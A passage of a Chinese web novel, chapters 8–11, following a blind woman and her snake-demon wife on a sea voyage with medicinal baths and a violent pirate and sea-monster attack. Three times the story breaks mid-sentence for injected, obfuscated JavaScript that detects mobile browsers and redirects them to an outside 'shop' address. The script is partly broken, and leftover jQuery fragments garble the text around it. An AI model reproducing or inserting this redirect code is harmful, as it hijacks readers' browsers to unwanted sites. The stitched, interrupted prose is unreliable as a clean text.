只是这笑意还没漫到眼底,便倏地凝住了。
“至于特性嘛……蛇蝎美人你听过没?蛇妖化形,往往都是貌美女子,喜吸食人类精气,性情多偏淫邪,心肠也多是冷的。”辛戎说得兴起,浑然未觉桌上气氛已悄然变了,“你要是真遇上了,赶紧跪地求饶才是上策,求她发发善心,别把你榨干了才好。”
说完,她满意地端起饭碗。小檀却再不敢动筷,匆匆撂下碗低声道了句“我吃饱了,先去睡了”,身影一晃便消失不见。
池未听着,若有所思地点点头,小声嘟囔:“道长说得有理,我不会法术,若真遇见妖精,第一步定是要跪地求饶的。”
话音未落——
“咚!”
一声闷响骤然传来,震得桌面都晃了晃。
池未茫然地偏了偏头:“夫人,什么声音?”
“道长喝多了,我扶她去厢房歇息。”萧衍仪的声音冷得像结了冰,全无刚刚的好心情。
起身时,绣鞋不偏不倚,从晕倒的辛戎手背上缓缓碾了过去。
原本干净的饭桌上,饭粒洒了一桌,辛戎手上的筷子一根横倒在碗边,一根还被她攥在手里。
倒在地上的辛戎,额头上赫然印着一个又齐又红的红印,正是萧衍仪刚刚一掌劈在她后脑上,撞在桌角留下的。
“原来桌上还放了酒吗?”池未嗅了嗅鼻子,什么也没闻到。
8. 第 8 章
入夜,池未躺在床上,双手抓着被沿,想着晚饭时辛戎说过的话。
身边床榻一沉,萧衍仪钻进被子里。
“明天有一艘南下的船正好顺路,咱们可能需要提前一天出发了。”
池未转身面朝萧衍仪:“都听阿衍的。”她现在有些好奇萧衍仪长了一副什么模样,让辛戎道长连连夸赞不止。
池未如往常一样,拉着萧衍仪的手捂着,脚背贴上萧衍仪的足底。
借着月色,萧衍仪的目光落在池未脸上,眼底浮起一丝连她自己都未曾察觉的柔和。
“好想看到夫人的面容长什么样子,但是我的眼睛真的可以治好吗。”池未有些没信心,明日便要出发了,她很担心此次南下一行,会花光了家里所有积蓄。
萧衍仪轻笑一声,指尖沿着池未颊侧缓慢游移,时而用指腹不轻不重地捏一下柔软的脸颊,时而将对方早已泛红发热的耳垂揉捻在指尖。那姿态不像对待爱人,倒像在抚弄一只亲手驯养温顺的猫。
“我知道你在担心什么。放心,我问过走船的商户了,南边医术了得的大夫很多,总会有办法治好你的。倒是你,之前两个月也没觉得你好奇我的样貌,难不成听辛戎说我长相漂亮,便觉得我不是个丑八怪,这才好奇的?”
池未眯着眼睛轻轻摇头:“从前家里冷清,没什么外人来,自然也没人说起你的样貌如何,我便从没在意过。可今日忽然来了位相识不久的客人,见了你便那样夸赞,而我……”
她顿了顿,声音更低了些,带着一丝惘然:“而我却连自己的夫人究竟生得什么模样,都不知道。心里就觉着有些空落落的。”
萧衍仪嘴角那点笑意再也藏不住,从眼底漫了出来:“阿池,你这不是在吃醋吧?”
“当然不是,”池未急忙否认,耳根却更红了,声音也愈发含糊,“就是……好奇罢了。”
池未的手被萧衍仪轻轻握住,牵引着,指尖首先触到的,是温热的肌肤。
然后,是轻轻刷过掌心的、纤长的睫毛,痒意细细密密。指腹顺着那轮廓缓缓下移,掠过挺拔的鼻梁,最后,停在了一片温润柔软之上。
是她的唇。
池未指尖一颤,猛地想要缩回。萧衍仪却仿佛早有预料,并未松手,低下头,将一个轻柔的吻,印在了她的掌心。
翌日,她们提前启程南下。
码头上,咸湿的海风毫无遮拦地吹来,带着刺骨的寒意,将池未的衣衫吹得紧贴身躯,又向后猎猎扬起。
这南下的日子,到底未能盼来一个好天气。天色阴沉得厉害,乌压压的云层从海天交界处直逼过来,沉沉地压在港口上空。
房间狭小,上下分了两层。她和萧衍仪睡下层,小檀睡上层,倒是刚好。地面空间逼仄,恐怕站上三四个人便要转不开身。不过既是行船,能有一处安稳睡卧之处,已算不错。
“行船要十日,这间小舱房便要五两银子。余下的银钱我先收好,”萧衍仪一边说着,一边将从家中带出的旧被褥铺在床上,试图让床板显得软和些,“。等到了地方,用钱之处只怕还多。”
池未点头称是。说到小檀,她才蓦然发觉自己右手掌心空落落的。平日里出门,总是左手牵着萧衍仪,右手拉着小檀,已成习惯。
“咦?”她侧耳听了听,“小檀去哪儿了?”昨日经历的事让她心有余悸,这世道拐卖孩童的事情不少,可千万别走丢了。
萧衍仪铺被褥的动作几不可察地顿了一下:“她许是在外面甲板上,同别家的孩子玩耍吧。”
池未偏头朝向舷窗方向,仔细听着:“外头风声好急,我总觉得像是要下雨了。”
此刻,村尾那间她们才离开不久的木屋里。小檀正从空荡荡的厨房走出来,手里握着一把从灶台边摸到的旧菜刀,面无表情,径直朝着柴房的方向走去。
菜刀在她的手里上下翻飞,就是不会掉在地上。一进门,看到地上躺着昏睡不醒的辛戎,她不耐烦地“啧”了一声:“我哪里会杀人啊,萧衍仪你可真有你的。”
“再说了,这臭道士那天说的话,其实也没那么不堪。就是好死不死,最后说了一句‘蛇妖性淫’惹怒了萧衍仪,要不然说不定萧衍仪都准备放你一马了。”
小檀蹲在地上,拿着菜刀朝着辛戎的脖颈比量来比量去,迟迟下不去手,最后实在没办法,拿了包蒙汗药出来倒在湿布巾上,一把捂住辛戎的脸闷了五个呼吸。
起身时,还不忘拿了几个空酒瓶扔在一旁的杂草堆上。
“算你命好啊,遇到姑奶奶我,不然你今日可就得重入轮回了。”
一切了结,她拍了拍手,转身刚走出门,脚步却又顿住。略一迟疑,她又折返回昏暗的屋内,蹲下身,在辛戎身上仔细摸索了一阵,将摸到的二两碎银收入自己怀中。
这才起身,快步朝码头方向小跑而去。
晨雾还未散尽,湿漉漉地浮在半空,将远处的屋舍与江面都洇得模糊。小檀一路小跑,经过一片望不到边的油菜花田。天光被浓云压得晦暗,平日里明晃晃的金黄花海,此刻也失了颜色,显得有些沉郁黯淡。
她穿过人群拥挤、吆喝声此起彼伏的港口,跑过街道两旁早早支起的摊子,卖馄饨的锅里热气蒸腾,昨日帮忙借凳子的老板娘还抬头跟她打了个招呼。
还有那家香飘整条街、馋了她好几日的烧鸡铺子。她摸了摸怀里的银子,犹豫一瞬,还是飞快地又买了一只油纸包好的烧鸡,随即脚步不停,更加心急火燎地朝泊船的方向奔去。
刚跳上踏板,船工便抽了板子。船身微微一晃,离了岸。
小檀扶着船舷喘息,回过头,晨雾稍散,港口石碑上“烟波港”三个苍劲的大字,清晰地映入眼帘。
原来这看似寻常的渔村,是有名字的。
不过,都不重要了。
她想她们应该不会再回来了。
转过身,忽然小檀的衣领被人抓住拎了起来,身后也同时响起船工大喊的声音。
“起锚啰——开帆啰——”
船老大名为罗涵,是个眼角有疤的中年女人,据说眼角的疤是遇到海盗时,与对方火拼留下的痕迹。
“谁家的小丫头,到处乱跑,现在船都开了,你还怎么下去!”
小檀两条腿在空中来回摇摆,被抓住脖领的感觉并不好受,她气呼呼道:“你快松手,我阿姐就在船上!我也是船上的客人!”
“啊……哈哈……这样啊,小丫头快回屋去,马上就该下雨了。”罗涵放下小檀,不顾对方掐腰生气,心虚地转身走向甲板招呼起船工开船。
“都给我看顾着点,绝对不能松懈,有批货可是大燕朝玄都司的货,要是出了意外,小心小命不保。”
小檀狠狠瞪了罗涵一眼,循着气味找到自家的房间时,手里香喷喷的烧鸡被她吃得只剩了半只:“我回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116989|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来啦,今天晚上可以不用吃干粮啦。”
“咦,你们俩怎么了?”进门时,床上只露了两个脑袋出来,小檀把烧鸡放在桌上,走进床边,“大白天的,怎么就都进被窝了?”
一只白净又骨节分明的手从被子里伸出,轻轻撩开扰人头发。萧衍仪面色苍白地露出来,眼睫微垂,一副虚弱无力的模样。
“小檀,”她声气微弱,“你能不能出去让她们停船,我们还是改走陆路为好。”话音未落,她便闭了眼,掌心无力地搭在额前。
“怕是不行呢,我进来时船已经出港了。池未怎么样?”小檀抿住唇压下笑意。
萧衍仪侧卧朝外,一手掩面,另一只手软软地揭开身后的被子。
池未正紧闭双眼,眉心紧蹙,面色发青。听见声音,她勉力扯出个苦笑:“小檀回来了啊……”话未说完便扭过头去,喉间轻轻滚动,显然在强忍恶心。
“你们俩都晕船了?”小檀在床沿坐下,替两人掖好被角。这才刚出港口就这般难受,往后几天可怎么熬?
她起身走到桌边,从油纸包里掰了只鸡腿,一边啃一边含糊说道:“可不是我吃独食啊,看你们这样也咽不下,总不能糟蹋了。”
池未本就闻不得荤腥,闻言胡乱摆了摆手,将被子拉过头顶,再不作声。
小檀看得好笑,目光又转向萧衍仪。船舱轻晃,散落的发丝搭在她苍白的脸颊,反添了几分凌乱的美感。
萧衍仪摸出钱袋搁在床边:“我也不吃,你记得找船老大要个浴桶,入夜我得给池未用药治眼睛。”
“用药?”小檀咀嚼的动作一顿,面露忧色,“什么药?”
萧衍仪抬眸,幽黑的眼瞳从发隙间望过来:“上次那位游方郎中给的,说是能调理根基,须在抵达之前用上。”
小檀眉头皱得愈紧,猜到是给池未散功的药:“可你俩现下这般能行吗?”
“先要些晕船药来吧。”萧衍仪合上眼。
入夜后,服过船老大给的晕船药,两人总算缓过些气力,虽仍虚弱,却不必再瘫在床上动弹不得。
“咚”的一声闷响,浴桶被抬进屋里,一桶桶热水注入,水汽蒸腾,顷刻间整个舱房都漫起潮湿的暖雾。
小檀从钱袋里拣出二两碎银递给船工。对方接了,脸上挂着笑,转身出了门。
萧衍仪起身去关门,隐约听见那船工在廊道里与同伴低笑:“稀奇,谁家赶船不是上船前就洗得干干净净?哪有上了船还日日泡澡的……”
“有钱人的讲究呗,咱哪懂。”
房门合上,萧衍仪朝小檀轻轻抬了抬下巴,目光转向上方的床铺。小檀会意,利落地翻身上床,面朝船壁躺下。萧衍仪随手扯过一道布帘,将床铺与外间隔开。
池未由萧衍仪搀扶着,踏入桶中。温热的水漫过肩颈,她却仍有些不安:“船上缺水,泡药浴是不是很贵啊?要不等到南边再……”
“不贵。”萧衍仪垂眸看着她紧绷的肩线,掌心搭在上面,声音低缓,“家里不缺这点。”
见池未仍蹙着眉,萧衍仪眼底暗了暗,不再多言,只将手中那把用于散功调脉的药材,悉数倾入水中。
她立在浴桶旁,垂眸望着池未那双失了焦距的眼睛。良久,她默然低下头,将指尖送至唇边,轻轻一咬。
一滴赤金色的血珠缓缓沁出,坠入氤氲的水面,无声漾开,转瞬便消融在那片温热之中。
9. 第 9 章
池未浸在药浴中,只觉周身皮肤被药性刺得发痛。尤其小腹与心口两处,仿佛有蛇在皮肉下钻咬,钻不进去,便用毒牙啮噬,又痒又痛,难耐至极。
“夫人……”她忍了又忍,终是在萧衍仪添第二桶热水时颤声开口,“能不能先停下?我实在受不住了。”
角落里那炷香已燃过半,青烟袅袅。萧衍仪自后轻轻环住她,额头贴着她汗湿的颊侧:“小池,再半炷香就好……再忍一忍,嗯?”
想到这数月来萧衍仪带她四处求医,因为眼盲自己身上不知磕碰出多少青紫,因为眼盲萧衍仪多少个夜晚为了赚钱秉烛抄书,池未齿关紧咬,缓缓点头。
她将双手抽出水面,死死扣住桶沿,指节绷得发白,青筋根根浮起。
可实在是太痛了。
那种感觉就像是要把她全身的皮扒掉一样,她忍得住没从浴桶里出去,却没抗住刺骨的痛,晕了过去。
就在晕倒的池未快要没入水中一瞬,萧衍仪的手自池未腋下穿过,将人捞起。
萧衍仪紧紧盯着角落里还有一寸才燃尽的那炷香,倚靠在她颈侧的池未眉头紧锁,显然就连晕过去,也在承受着常人无法忍受的痛苦。
“萧衍仪!够了!”小檀的声音从床上响起的同时。
“哗啦”的水声响起。
小檀从上铺冒了个头出来,瞪着萧衍仪:“你的心真的变得太硬了,在以前她但凡手上多了个茧子,你都彻夜不眠给她做个护套出来。”刚刚池未压抑的呼吸声实在太过让她焦心。
彼时,池未已经从水中出来,被萧衍仪用衣衫层层裹住,软软地倒在萧衍仪的怀里。颈下露出来的肌肤泛着不规则的红,像是被热水灼伤,又像是有无数红线在肌肤下游走。
萧衍仪重重呼出一口气,再抬头时眼神又如往日一样平静:“她不是以前的池未,我也不是以前的萧衍仪了。”
“咚”的一声,小檀从上铺跳了下来。两人视线相对,终是小檀落了下风重重剁了一脚,摔门出去了。
“见不得你在这虐待她,我再去找个房间住。”
“随你。”
房门关上一瞬,萧衍仪搀扶着池未倒在被褥里,她急切地扯开池未的衣衫,见点点红丝在肌肤下朝着心口和丹田处涌去。
“看来是有效的。”她长舒了一口气,可眼底却看不见喜意。
池未做了一个梦。梦里她犯下十恶不赦之罪,被阎王打入油锅地狱,日日夜夜在滚油中煎熬。
醒来时,周身仍灼痛不止,恍惚半晌才想起,这不是地狱,是南下的船上,这痛也不是刑罚,是夫人求来的药浴所致。
身子底下是软的。她侧过脸,发现自己正枕在一人怀中。
目光上移,一张清艳的脸映入眼底。眉似远山含黛,肤若新雪初凝,只是唇色苍白了些,许是晕船未愈,几缕碎发散落额前,想来是照料她时不经意弄乱的。
池未怔了怔,这药竟如此灵验?才用了一次,她便能看见了?
若她看得见,那眼前这天仙似的人……就是她的夫人萧衍仪了。
心口蓦然一烫。她忍不住抬手,想替熟睡的萧衍仪捋好那缕散发。
指尖将触未触之际,眼前倏地一花。
所有的轮廓,又模糊成一片昏蒙的影。
池未晃了晃头,视野依旧昏蒙一片。
“怎么了,阿池?”萧衍仪醒了,哑声问道。
为何方才看清了,此刻却又模糊?
池未不愿让萧衍仪空欢喜一场,只轻轻摇头,唇角弯起:“没事,你还晕得难受么?”
“好些了。”萧衍仪低声应道,她说了谎话。床榻之下,一条粉白色、粗若人身的尾巴正蜷在狭仄的舱板间。
因伤势与晕船,她越发难以维持人形,尾巴已经不受控地显现出来。
“你呢?身上可还疼得厉害?”
“不疼,只要能有效果,我不怕疼。”一片漆黑中,萧衍仪轻轻摸了摸她的脸。
方才那转瞬的清晰,像一簇小小的火苗,在池未心里悄悄亮起来,既然能看见片刻,离眼睛真正恢复,应当不远了吧?
知道自己或许终能成为一个康健的人,池未心底悄悄多了丝亲近的勇气。她蜷在萧衍仪身前,肩头能感受到对方温热的呼吸。
身上痛得要把池未撕开一样,真想就这样赖着不动。以为上铺还睡着小檀,她最终只是仰起脸,在昏蒙的视线里柔声说:“夫人,该歇了。”
随着南下路途渐远,天气一日日和暖起来,两人晕船的症候也一天天轻了下去。
每日白天,萧衍仪总会牵着她的手到船舷边透气。池未看不见那波澜壮阔的海平面,也看不见阳光洒落海面时、那碎银般跳跃的粼粼波光。小檀总爱说海面像是铺了层晃眼的碎银子,好想跳下去全都捞起来。
萧衍仪会一一讲给她听,将那些她无法得见的景象,细细描摹进她的耳中,就像是她的第三只眼睛一样。
唯有一事透着些古怪。不知是不是晕船倒把脾胃颠转了过来,她沾不得荤腥的毛病,竟在这船上不药而愈了。
“怎么又叹气?是不是在船上憋闷坏了?”小檀掀帘钻进狭小的舱房,小姑娘性子活络,上船不久便和船上的厨娘杂役们混熟了,时常能揣些零嘴儿回来。
池未吸了吸鼻子,嗅到一□□人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116990|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
香气:“还好。你带了什么回来?这么香。”
“香?”小檀正啃着一块肉干,闻言动作一顿,狐疑地眨眨眼,“你平日闻到荤腥味儿就犯恶心,今日倒转性了?”
池未失笑:“瞧你说的,我还能抢你吃的不成?”话虽如此,腹中却真有些空落落的,她摸索着,想撑起身去够那装干粮的布袋。
身侧床板忽地一沉,萧衍仪不知何时已回了舱,挨着她坐下,带来一缕微凉的水汽:“厨娘刚给的酱肉,还温热,尝一片?若合口味,我让船家多备些。”
池未连忙摆手:“你走路怎么没个声响,还是留给小檀吧,我啃饼子就好。”
萧衍仪眼风淡淡扫向小檀。小檀瘪瘪嘴,扯出个笑:“我吃撑了,正好消食。你们聊,我去晒晒太阳。”说罢把肉片往萧衍仪手里一塞,逃也似的掀帘出去。
油纸包抵到唇边,咸香直往鼻尖钻。池未拗不过,终是低头咬了一小口,肉质紧实,卤香醇厚,竟半点不反胃。她眼睛微亮,不知不觉吃了三片才停。
门外,小檀蹬到船舷边,泄愤似的踢了脚缆桩,嘴里嘀嘀咕咕:“戒荤、戒色、戒贪……笨池未,你已破了两戒,我看你是真要栽进萧衍仪那妖精的网里了!”
“小姑娘家,哪来这么大火气?”船老大罗涵正检查缆绳,瞧见她鼓着腮帮子生闷气,笑着走近。她记得这丫头嘴甜,常围着厨房打转,方才还央厨娘切了酱牛肉,怎的转眼就气成河豚?
小檀不愿被当孩子哄,甩甩头想回舱。忽然天色骤暗,黑云如墨压向海面,一道丈高的巨浪狠狠拍上船舷,瞬间把船边的人浇了个透心凉。
又是一道巨浪扑来。
“小心!”罗涵猛地拽住小檀胳膊,将她按在舷栏边。咸腥的海水劈头浇透裙衫,船身剧烈倾斜,货箱哐当乱撞。
罗涵脸色陡变,朝舵室嘶声大喊:“所有人进舱!船工抄家伙上甲板!快吹号——”
急促的号角声响彻甲板。
“进去!”
罗涵不由分说拎起她后领,一把将小檀甩进舱内。身后“海盗来了”的吼声混着惊叫与浪涛,一阵紧过一阵。
小檀心头猛跳,顾不得被扯歪的衣领,双手提起湿漉漉的裙摆,拔腿就往里冲。木廊在脚下摇晃,她踉跄着扑到萧衍仪房门前,用尽力气撞上去。
“咣!”
门板震颤。
她扒着门框急喘:“萧衍仪,坏了!外面……外面有海妖!”
要在平日,有萧衍仪在身边,她半分也不慌。可她最近频频看到萧衍仪的蛇尾巴露出来,便猜到她法力不稳伤势还没有恢复。
如今也不得不着急了。
10. 第 10 章
正午时分,乌云黑压压一片袭来,遮盖住炎热又刺眼的阳光,豆大的雨点砸在甲板上,不到一炷香的时间便从白昼变得难以视物。
船上哭嚎声、求饶声不断地传入小檀的耳朵里,她站在房间内透过门,亲眼见到刚刚笑容和蔼送给她一块酱牛肉的妇人,被海盗一刀砍在后背倒在地上。
远处的船舷上一只巨大八爪鱼的触须卷起一个船员扔进茫茫大海,浪花几个翻滚,再也看不见船员的双手。
那只八爪鱼海妖光头就高一丈有余,黏腻湿滑的触须更长的惊人,触须中间有着无数的牙齿,鲜红的血在它身子底下蔓延流淌开来。
一队队的海盗从甲板上走过,翻找着所有屋里的钱财、珠宝首饰,但每每经过池未所在房间前,却像是没有看见眼前的这道门一样。
小檀扒在看不见的结界上,焦急地看着每日偷偷投喂她零食的船老大罗涵被押去船头,自己却无能为力什么忙也帮不上。
一转身,池未还泡在药浴中闭目休息,痛不欲生的感觉,让她额角的汗珠滴滴答答地砸进水中。
小檀眼里噙着泪花祈求萧衍仪:“帮帮她们。”
“什么?帮谁?”池未睁开眼,看向门口小檀的方向,可小檀却看都没有看她一眼,径直走到萧衍仪的身边,拉着她的手轻轻摇晃。
原来和她没关系,池未正打算闭上眼睛继续忍痛,忽然见萧衍仪冷冷瞥了小檀一眼,然后头也不抬地朝池未挥了挥衣袖。
池未呆住,正想开口问萧衍仪:这是在干什么。
却见萧衍仪和小檀两个人似乎吵了起来,可她却怎么一句话也听不见。
原来她上船这七日一直泡药浴,眼睛已经从只有泡药浴时能看清一点到泡药浴之后能看清半个时辰。
她知道这艘船中间不会停,便决定等完全恢复后,给萧衍仪二人一个惊喜,到了南边就当是去游山玩水一番,岂不美哉。
却没想今日遇到能看到却听不见的情况,她定了定神,试着去读懂二人的口型。
小檀急得快哭了:“能不能救救她们?这船上两百多号人,真的很可怜。那八爪鱼妖和那些海盗串通一气,肯定不只是劫财,说不定还要吃了外面那些人。”
萧衍仪:“天道如此,人吃鱼虾,鱼虾成精吃人,循环往复罢了。你一只妖,别化做人形久了,就忘了自己是谁了,”
“那你呢?你倒是人生人养的,你们弧矢谷还号称斩妖除魔为己任呢,你都不可怜可怜外面那些人吗?她们好多人也是为了给家人治病,才上了这艘船的。”小檀气愤地手指船舱外,大声说道。
萧衍仪淡然道:“我是妖,又怎么会是人生的?”
妖???
她们俩到底在说什么?
池未听得心惊肉跳,妖还是要抑或是药?
小檀又开口了。
她像是被萧衍仪气到了,一手指着萧衍仪的鼻子一边擦着眼角泪水:“你这个臭蛇妖,你一点良心都没有,难怪池未会不喜欢你……呜呜呜……”
萧衍仪闻言看了池未一眼,池未赶忙眨了眨眼,对着对方微微一笑,作出一副无辜又被药泡得痛苦的模样。
“再说就把你扔出去喂那只恶心的海妖,它牙齿那么多,肯定能让你安静下来。”萧衍仪回以池未嫣然一笑,起身舀了三瓢热水加进桶中。同时指尖一划,又是一滴赤金色的血在池未身后落入桶中。
池未读懂了她说给小檀的话,小檀忽然站定怔怔地指着窗外,余光一晃,恰好看见那只小檀口中八爪鱼海妖正从屋前缓缓爬过。
它满嘴细密的牙齿无声蠕动,嘴角拖拽着两条人腿,在它颚边抽搐了几下,最终僵直不动大嘴一张吞了进去。暗红与浊绿的黏液拖过门框,缓慢地向下垂滴。只留下一些红红绿绿的粘液沾在门框上,池未置身于滚烫热水中,只觉得浑身发冷头皮发麻。
“呕——”画面太过恶心,池未忍了又忍,还是没忍住发出一声干呕。
出了平日里不曾出现过的反应,萧衍仪弯腰俯身贴在池未身旁:“怎么了?可是哪里不舒服了?”
这下不用看口型了,萧衍仪的声音清晰传入耳朵内,池未却有点不敢说话了,自打眼睛能看清后,怎么处处都那么诡异?
小檀说夫人是个蛇妖,究竟是什么意思。
紧闭双眼的池未摇头不语,作出一副难受到不想说话的样子,她现在是既不想看也不想再听。
萧衍仪轻拍池未肩膀:“不舒服了就早些出来。”
池未点点头闭上眼睛,两人再聊些什么她便什么也不知道了。
可架不住池未心中实在好奇,没一会儿,便又忍耐不住睁眼偷看,但房间里早就空无一人。
药浴泡得人浑身刺痛,心头却莫名焦躁。
外头喧哗、惊叫、兵刃碰撞声忽然毫无阻隔的传来,搅得池未再也坐不住。她挣扎着迈出浴桶,草草披上衣服,湿发也顾不上挽,便踉跄着扑到门边,一把拉开了房门。
外面哪里还是寻常船舱?分明是一片火海地狱。
冲天的火光将夜色撕成碎片,浓烟滚滚。惊慌失措的船客哭喊着奔逃,面目狰狞的海盗举着血淋淋的刀斧在后面追杀,人影幢幢,如同鬼魅般一个接一个从她模糊的视野边缘掠过。
就在近前,一个少年被海盗追上,踉跄倒地。那海盗狞笑着举起大刀,寒光映着烈火,眼看就要劈下!
池未呼吸一滞,想也没想,抄起手边的门栓便要冲上去,哪怕是以卵击石,她也不能眼睁睁看着!
可她的身体却猛地撞上了一道看不见的屏障。明明眼前空无一物,却像撞在了一堵冰冷坚硬的墙上,被狠狠弹了回来,门栓“哐当”一声脱手落地。
她重新爬起来,只能死死扒在那道摸得着却看不见的“墙”上,指尖用力到泛白。隔着这道无形的界限,她清清楚楚地看见那少年绝望而惊恐的目光。下一刻,刀光落下,一颗头颅滚到了她的脚边,鲜血喷溅上那道无形的屏障,在她面前蜿蜒流下,留下刺目的红痕。
池未张着嘴,却发不出任何声音。她扒着屏障,全身的血液都凉透了。这不是噩梦,却比她做过的任何噩梦,都更荒诞。
想到萧衍仪和小檀还在外面,她奋力地撞这面看不见的屏障。
萧衍仪终是拗不过小檀的软磨硬缠,被她半拉半拽着出了房门。
小檀一见船头尸山血海的景象,急得直跺脚:“你现在见死不救,等池未以后恢复记忆了,我必定将今日之事一字不落说给她听。到那时,你猜她还愿不愿意喜欢你这般冷心肠的人?”
见萧衍仪脸色一沉,她话锋一转,语气里掺了埋怨:“要是池未未曾被你害得散了功,就算她记不得自己会法术,也定会想法子救人。”
“阿衍,你就当行善积福,你在蓬莱学的那些天道轮回、因果自偿的道理我都懂,可你对池未做的这些,难道就不是干涉因果?眼下多行一善,说不定日后就能少受一分报应。”她声音渐渐低下去,“再说人都死成这样,船还要在海上漂几天,满地残肢没人收拾,看着多糟心……”
萧衍仪面色愈冷,小檀话音未落,她却淡淡吐出三个字:“知道了。”
“啊?”小檀一愣,没想到她竟真应了。
满地红绿污秽中,萧衍仪一袭白裙,步履从容地朝船头走去。四周尽是嘶喊拼杀与绝望哀嚎,她这般模样很快引来海盗的注意。
几个浑身血污的汉子朝她围拢,言语污秽不堪。小檀猫在角落,非但不急,反而暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116991|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暗为那群海盗鼓劲:
“对,就这么骂。”
“再难听些,待会儿有你们好受的。”
“我的天……还敢说要娶回去做压寨夫人?我看你家祖坟今天冒白烟也救不了你了。”
池未在她身后不远处,房间在二楼,她看着外间惨状一览无遗,胸中似有火舌翻搅,只恨自己无能为力。
忽然,她看见了萧衍仪从下面走出,她紧紧贴在屏障上,高声呼喊。
眼见那些言语污浊的海盗朝萧衍仪走去,她急得手心发抖,但马上她就愣在了原地,且往后稍稍退了两步。
只因下一刻,她看见那个方才还为她添水试温的萧衍仪,在海妖张牙舞爪的触手前站定,右手并指如剑,凌空一划——
白光乍现,如同两道无形铡刀当空斩落。
那狰狞吃人的海妖连哀嚎都未及发出,便软塌塌地滑了下去。粘稠的绿液汩汩涌出,甲板上顷刻腥臭扑鼻。
而那些刚刚还耀武扬威的海盗,只愣神了片刻,便知道今日遇到了硬茬,纷纷跳船而逃,船老大为首的罗涵是第一个反应过来的,手一挥,带着船工对上了残留的海盗。
此情此景犹如做梦,池未呆呆地咽了咽口水,见到刚刚大言不惭要把萧衍仪娶回去好好教训一番的海盗,在跃出甲板一瞬,四肢便似被五马分尸般飞了出去,只剩个脑袋和肚子,“咕噜咕噜”地沉入海底。
看到萧衍仪和小檀两人奇怪对话时,她原先还在忧心今夜该不该提分床的事,此刻却觉得不必再纠结了。
不对,是不敢再提了。
池未慌忙后退两步,将自己更深地藏进阴影里,避开了萧衍仪可能向上抬起的视线。她僵在原地,足有一盏茶的功夫,脑中一片混沌,怎么也想不明白刚才外面究竟发生了什么。
直到一阵由远及近的脚步声传来,她才如梦初醒,慌忙退回床边,和衣躺下,紧紧闭上了眼睛。
……到底发生了什么?
那个吃人、散发着腥臭的海怪,此刻仍在她脑海中挥之不去。辛戎没有骗她,这世间竟真的有妖。可小檀为何要说萧衍仪是妖?
萧衍仪方才只是随意抬手,凌空两指划过,便能轻易斩断人的肢体,甚至那海怪坚韧滑腻的触手。
难不成她那位温柔漂亮、仿若谪仙的夫人,当真也是妖?
不等她想明白,房门轻响,萧衍仪缓步走了进来,身后跟着几个抬着木桶的船工。
新烧的热水是为她洗去身上污浊准备的,这也是方才众人跪地谢恩时,她唯一提出的要求。
船工们这次进来没有闲谈,放下浴桶与热水留了句“多谢萧姑娘救命之恩,若有需要尽管吩咐”便安静退去。
池未感到被角被轻轻拉起,又仔细掖好,她知道那是萧衍仪。
她不禁感叹萧衍仪待她真是温柔,与刚刚在外面一副杀神的模样全然不同。
过了一会儿,静谧的房间里响起细微的水声。
像是有人用手撩起温水,任水流从掌心滑落,再静静滴回水中。
池未猜想,许是萧衍仪正在沐浴。
前几日,她总是在自己药浴后才去清洗,那时池未的眼睛已经什么都看不清了。
虽说偷看人沐浴总归不该,但刚刚发生的一切实在太过震撼。
最终,池未还是没能按耐住心中的疑惑,微微偏头瞧了一眼,只是这一眼瞧见,便离不开了。
小檀不在房间里,屋里只点了一盏油灯,似乎是怕油灯晃到池未休息,床边那层薄薄的纱帐垂了下来,隔开了池未的视线。
但那模模糊糊的影像,却让池未顿觉心跳加速。
只因薄薄的纱帐外,狭小的空间里,萧衍仪正背对着她宽衣解带……
11. 第 11 章
白色纱裙自肩膀处滑落,堆积在萧衍仪的脚边。
她抬手解开内衫系带,动作轻缓。肩颈的肌肤细腻如瓷,腰线自脊背流畅而下缓缓收紧,一道浅壑隐入丰盈处,纤细腰肢仿佛一握便能盈满掌心。
浴桶边缘遮去一半腰窝,反倒更引得池未无限遐想。
池未下意识屏住了呼吸。
萧衍仪解衣的手忽然顿住,微微侧首,不知是在看水,还是察觉了什么。
眼看她就要转身踏入浴桶,池未却再不敢看下去。心跳如擂鼓的她甚至都担心船舱外的人,是不是都能听到她的心跳声。
过了好一会儿,水声哗啦,断断续续。
难不成萧衍仪在玩水?池未四肢绷直躺在床上,待心跳渐渐平复,才敢将眼睛睁开一道细缝。
这一看,她全身的血液都凝住了。
浴桶那头,萧衍仪修长的手臂搭在桶沿,头轻轻枕在上头,双目阖着,似在小憩。水汽氤氲,衬得她侧颜如画,分明是一幅美人入浴图。
可当池未的视线移到浴桶另一端。
